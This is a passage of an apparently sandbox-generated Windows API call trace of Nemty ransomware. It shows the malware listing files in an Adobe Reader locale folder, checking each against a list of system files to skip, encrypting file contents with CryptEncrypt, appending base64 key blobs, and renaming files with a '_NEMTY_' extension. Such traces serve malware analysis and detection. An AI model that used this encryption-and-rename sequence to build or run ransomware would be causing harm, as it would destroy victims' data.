Size=0x40) returned 0x6345e38 [0186.605] GetLastError () returned 0x0 [0186.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.605] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.605] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.605] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.605] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="WzOIlJNVjxumKXnHMrVaZecqpJwJvWSDOI/YZ785aP95ksGVXj/8oKej5AxAgY/x\r\neVyboM37uFeiyowfkAeyMZmbEf8tWNyIDs4MCfGKVPSAkTzv3m33EiB4+pkeWHOu\r\n1Go+htOnfiLz/YR3MWksSqwc3ReyiVwg9kN3Z4Tx0RpBM9wuP1THxYj3bO2wiPhb\r\nH+W3QmrUx95dYVbfbhKgGfuYqZsW92jv8VYtlnAJak/tfa85mDmYciNwFXXU9nrA\r\n+HRqMR55NJMnzAilAho+jbc9IYrcIvdItyV3xYQgir0PBVvVDON6yTgckssVGJwk\r\nF3cDw+Aio5EoSHsSUpDBog==\r\n", pcchString=0x653e5dc) returned 1 [0186.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\ReadOutLoud.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\readoutloud.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.606] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8704) returned 1 [0186.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2200) returned 0x6352c48 [0186.606] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.606] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2200, lpOverlapped=0x0) returned 1 [0186.608] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.608] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2200, lpOverlapped=0x0) returned 1 [0186.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.608] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2200 [0186.608] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.609] CloseHandle (hObject=0x2e8) returned 1 [0186.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.609] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\ReadOutLoud.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\readoutloud.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\ReadOutLoud.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\readoutloud.cht._nemty_kgobjgd_")) returned 1 [0186.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.610] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.CHT", cAlternateFileName="")) returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2=".") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="..") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="...") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="windows") returned -1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="rsa") returned -1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="NTDETECT.COM") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="ntldr") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="MSDOS.SYS") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="IO.SYS") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="boot.ini") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="boot.ini") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="ntuser.dat") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="desktop.ini") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="CONFIG.SYS") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="RECYCLER") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="bootmgr") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="programdata") returned 1 [0186.610] lstrcmpiW (lpString1="reflow.CHT", lpString2="appdata") returned 1 [0186.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.611] Sleep (dwMilliseconds=0x5) [0186.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22e1a5d0, dwHighDateTime=0x1d561e8)) [0186.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22e1a5d0, dwHighDateTime=0x1d561e8)) [0186.621] GetLastError () returned 0x0 [0186.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.621] GetLastError () returned 0x0 [0186.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.621] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.621] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="hOIVdoioP0oTMPreUH4RCSZ7oXFe1QmmnDDr9wJkpBrpxWHGX9Aee2XRZDMkuJeF\r\nqARYKTSQ33AqEZ3aGyLchqRFhMTNkVAWFtYIBWoVMoaVY1fCWvnptecxf7GngcQ0\r\nGJASD2VlOH81watq9eYheqLR6n9qYbbspP46HngeSgVLjbQah4Zpf4HCVrm1Uv/X\r\nVQiFC9QWcgsj/Fb8WbxRrOJ//S+D6EgjxcnUQrXop4VMliFOhkV75HGnAbaCFMcA\r\nA0OFpufpHRINye+F0ycJ3jYLjK7mLMlQdMo8fUAA3yR+rG8qHEfzZRTaz+1pYiG6\r\nGwWWJXTzblUYDQKaK6MKdw==\r\n", pcchString=0x653e5dc) returned 1 [0186.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.621] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\reflow.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\reflow.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.622] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4096) returned 1 [0186.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1000) returned 0x6352c48 [0186.622] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.622] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1000, lpOverlapped=0x0) returned 1 [0186.624] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.624] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1000, lpOverlapped=0x0) returned 1 [0186.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.624] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1000 [0186.624] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.624] CloseHandle (hObject=0x2e8) returned 1 [0186.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0186.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.624] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\reflow.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\reflow.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\reflow.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\reflow.cht._nemty_kgobjgd_")) returned 1 [0186.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0186.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.625] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.CHT", cAlternateFileName="SAVEAS~1.CHT")) returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2=".") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="..") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="...") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="windows") returned -1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="rsa") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="NTDETECT.COM") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="ntldr") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="MSDOS.SYS") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="IO.SYS") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="boot.ini") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="boot.ini") returned 1 [0186.625] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.626] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="ntuser.dat") returned 1 [0186.626] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="desktop.ini") returned 1 [0186.626] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="CONFIG.SYS") returned 1 [0186.626] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="RECYCLER") returned 1 [0186.626] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.626] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="bootmgr") returned 1 [0186.626] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="programdata") returned 1 [0186.626] lstrcmpiW (lpString1="SaveAsRTF.CHT", lpString2="appdata") returned 1 [0186.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHT", lpUsedDefaultChar=0x0) returned 13 [0186.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHT", lpUsedDefaultChar=0x0) returned 13 [0186.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHT", lpUsedDefaultChar=0x0) returned 13 [0186.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, 